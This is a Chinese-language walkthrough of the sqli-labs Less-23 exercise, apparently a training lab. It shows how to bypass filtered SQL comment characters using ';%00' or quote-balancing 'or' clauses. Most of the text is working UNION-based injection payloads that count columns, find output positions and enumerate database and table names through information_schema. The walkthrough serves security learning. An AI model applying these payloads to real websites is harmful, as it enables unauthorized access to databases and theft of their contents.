Less-23 get 方式注入,过滤了注释符
当输入?id=1时,登陆成功
当输入?id=1’ 或 ?id=1’ and 1=1 --+ 或?id=1’ and 1=1 # 均显示错误
可判断闭合方式为 单引号
查看源码发现注释符都被替换为了空格,在这里可以使用另外一种特殊的注释符 ;%00 (英文输入法)。
测试输入 ?id=1’ and 1=1;%00 后可正常显示。
此关也可以基于报错注入、延时注入、利用 or ‘1’='1 进行闭合
方法一:联合查询
语句除了最后的注释符不一样其他的和Less-1的联合查询的方法基本是一样的
下面针对过滤了注释符的情况,采用不同的方法来进行测试
判断列数 :
?id=1’order by 3;%00
或
?id=1’order by 3 or ‘1’='1
或
?id=1’order by 1,2,3,'4
测试回显位置 :
?id=-1’union select 1,2,3;%00
或
?id=-1’union select 1,2,3 or ‘1’='1
或
?id=-1’union select 1,2,'3
查数据库名:
?id=-1’union select 1,2, database() ;%00
或
?id=-1’union select 1, database(),3 or ‘1’='1
或
?id=-1’union select 1, database() ,'3
查表名:
因为这里涉及到where与or语句的混合,只能用双注入即CONCAT子查询。
?id=-1'union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='security';%00
?id=-1'union select 1,2, table_name from information_schema.tables where table_schema='security' limit 3,1;%00
或
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1
?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 3,1),3 or '1